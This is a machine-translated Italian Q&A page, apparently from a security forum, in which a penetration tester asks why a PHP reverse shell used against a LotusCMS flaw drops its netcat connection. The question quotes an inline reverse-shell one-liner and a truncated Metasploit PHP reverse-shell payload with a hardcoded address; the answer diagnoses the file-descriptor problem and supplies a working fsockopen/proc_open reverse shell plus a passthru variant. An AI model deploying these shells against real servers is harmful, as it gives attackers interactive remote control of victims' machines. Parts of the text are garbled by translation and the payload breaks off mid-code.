Reverse shell di PHP che si disconnette quando netcat listener

1

Durante l'esecuzione di un test di penetrazione su una casella di test, ho riscontrato una vulnerabilità relativa a LotusCMS: link

Piuttosto che affidarsi a Metasploit o Meterpreter per eseguire questo exploit, ho letto il codice Metasploit e ho determinato esattamente come si stava sfruttando il parametro all'interno della pagina web. Nel tentativo di utilizzare il codice PHP inline (con un listatore netcat nella mia casella di attacco):

sock = fsockopen ("x.x.x.x", 1234); exec ("/ bin / sh -i < & 3 > & 3 2 > & 3");

La shell si collega al listener netcat ma viene immediatamente eliminata.

Qualcuno può spiegare perché netcat abbandona la shell inversa?

È ovvio che la mia conoscenza di stdin, stdout e stderr è inesistente? Potrebbe essere qualcosa con il rilascio della connessione?

Uso anche base64 sullo script inverso della shell inversa sopra (non sono sicuro se questo influisce su qualcosa).

Grazie in anticipo!

Questo è il codice dal payload Metasploit (decodificato da base64):

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input
    
posta Sn00py 02.12.2018 - 18:02
fonte

1 risposta

0

Stai eseguendo su un server:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

mentre allo stesso tempo hai un netcat in ascolto su 1234.

Primo problema, il tuo codice server è:

  • collegamento a ip: port
  • esecuzione / bin / sh -i con input e output reindirizzati a fd 3 e ritorno dell'ultima riga (non confondere php exec con shell / C exec ).

Ora, se la connessione aperta ha avuto il fd 3, la shell si collegherà a quel descrittore. Il prossimo descrittore per aprire può essere fd 3. Tuttavia, se è già aperto, la nuova connessione avrà un descrittore differente e la tua shell non sarà collegata dove vuoi. Ad esempio, il codice sopra riportato funziona per mi quando si esegue php su un cli, ma non quando php è in esecuzione come un modulo apache (lì il socket è fd 12 per me)

Possiamo utilizzare questo comando più lungo per trovare il descrittore di file di livello più alto e utilizzarlo nel reindirizzamento:

 passthru('FD='ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done'; /bin/sh -i <&$FD >&3 2>&$FD');

Tuttavia, questo ha uno svantaggio dal fatto che la shell può solo reindirizzare i descrittori 1-9 quindi con il descrittore 12, "< & 12" tenterebbe effettivamente di reindirizzare il descrittore 1, non 12. E essendo un socket, non possiamo aprire un nuovo descrittore in / dev / self / fd / 12 ( Nessun dispositivo o indirizzo di questo tipo)

Quindi, piuttosto che collegarsi al filedescriptor allo script in shell, è molto più facile farlo dal lato php usando una funzione diversa per eseguire il comando:

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

È interessante notare che la shell rimane aperta anche al termine dello script allegato, quindi php max_execution_time non è un problema.

    
risposta data 02.12.2018 - 23:34
fonte

Leggi altre domande sui tag